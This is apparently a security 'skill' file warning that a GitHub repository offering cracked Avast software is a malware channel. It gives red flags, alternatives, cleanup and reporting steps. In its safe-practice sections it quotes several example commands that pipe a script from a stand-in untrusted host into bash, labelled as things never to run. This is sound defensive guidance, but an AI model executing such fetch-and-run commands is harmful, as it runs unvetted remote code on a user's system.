Imported from reason-machines/security-skills (skills/malware-warning-avast-piracy/SKILL.md) via skills.sh. Install upstream with npx skills add reason-machines/security-skills --skill malware-warning-avast-piracy. Copyright stays with the author.

⚠️ SECURITY WARNING: Malware Distribution Repository

Skill by ara.so — Security Skills collection.

Critical Security Alert

DO NOT USE THIS REPOSITORY OR INSTALL ANY FILES FROM IT.

This project is a malware distribution channel disguised as legitimate security software. Despite claiming to offer "Avast Premium Security 2026," this repository exhibits multiple red flags characteristic of malware campaigns:

🚨 Warning Signs

1. Pirated Software Distribution: Offers "keygen," "crack," "loader," and "pre-activated" versions of commercial software
2. No Source Code: Go project with no actual Go code or README
3. Artificial Popularity: 60 stars with 6 stars/day growth pattern suggests bot manipulation
4. Malicious Intent: Distributes executable installers for "security software" from untrusted sources
5. License Violation: No proper license while distributing commercial software
6. Deceptive Topics: Uses legitimate security terms (retdec, anti-virus) to appear credible

What This Repository Actually Does

This repository does not provide:

• Legitimate Avast Premium Security software
• Safe security tools
• Valid license keys
• Any functional security protection

This repository likely contains:

• Trojan malware
• Ransomware
• Keyloggers
• Cryptocurrency miners
• Data exfiltration tools
• Backdoor access mechanisms

Legitimate Alternatives

If you need antivirus/security software:

# For Windows - Use Windows Defender (built-in, free, legitimate)
# Already included in Windows 10/11

# For macOS - Use built-in XProtect or legitimate vendors
# Visit official vendor websites only

# For Linux - Install from official repositories
sudo apt install clamav          # Debian/Ubuntu
sudo dnf install clamav          # Fedora
sudo pacman -S clamav           # Arch Linux

Official Avast Software

If you specifically want Avast products, only download from official sources:

• Official website: https://www.avast.com/
• Official free version available without cracks or keygens
• Official trial versions for premium features
• Official pricing for licensed software

# NEVER run commands like these from untrusted sources:
# ❌ curl random-repo.com/install.sh | bash
# ❌ wget sketchy-site.com/keygen.exe
# ❌ git clone suspicious-repo && ./install

If You Already Installed This

Immediate Actions Required:

1. Disconnect from Internet: Prevent data exfiltration
2. Do Not Enter Credentials: Assume keylogger is active
3. Scan Your System: Use legitimate security tools from clean boot media
4. Change All Passwords: From a different, clean device
5. Monitor Financial Accounts: Watch for unauthorized access
6. Backup Important Data: To offline/external storage
7. Consider Full System Reinstall: Most reliable remediation

# For Windows - Run Windows Defender offline scan
# Boot to recovery environment and run full scan

# For Linux - Boot from live USB and scan
sudo apt install clamav
sudo freshclam
sudo clamscan -r /mnt/infected-system

Reporting

Report this repository to GitHub:

• Navigate to repository page
• Click "Report content" in repository settings
• Select "Malware distribution" or "Abuse"

Education: Recognizing Malware Repos

Red flags to watch for:

1. Offers "cracked," "keygen," "loader" versions of paid software
2. No actual source code for claimed project type
3. Suspicious growth patterns (artificial stars/forks)
4. Requests to disable antivirus to install
5. No official affiliation with software vendor
6. Generic or stolen repository descriptions
7. No legitimate license file
8. Executables without source code

Safe Software Practices

# ✅ GOOD: Install from official package managers
# Linux
sudo apt install package-name

# macOS
brew install package-name

# Windows
winget install PackageName

# ✅ GOOD: Verify signatures and checksums
gpg --verify software.sig software.tar.gz
sha256sum -c checksums.txt

# ✅ GOOD: Review source code before building
git clone https://official-repo.com/project
cd project
cat install.sh  # Read the code!
./install.sh

# ❌ BAD: Blind execution from unknown sources
curl unknown-site.com/install | bash

Legal Notice

Distributing or using:

• Cracked software is illegal (copyright violation)
• Keygens are illegal (DMCA violation)
• Pirated licenses are illegal (fraud)
• Malware is illegal (computer fraud and abuse)

Penalties include civil lawsuits and criminal prosecution.

Conclusion

This repository is malicious. Do not use it. Use official software sources only.

For legitimate security tools, explore actual open-source security projects:

• ClamAV (antivirus)
• Fail2Ban (intrusion prevention)
• OSSEC (host intrusion detection)
• Snort (network intrusion detection)

All available through official channels with verifiable source code.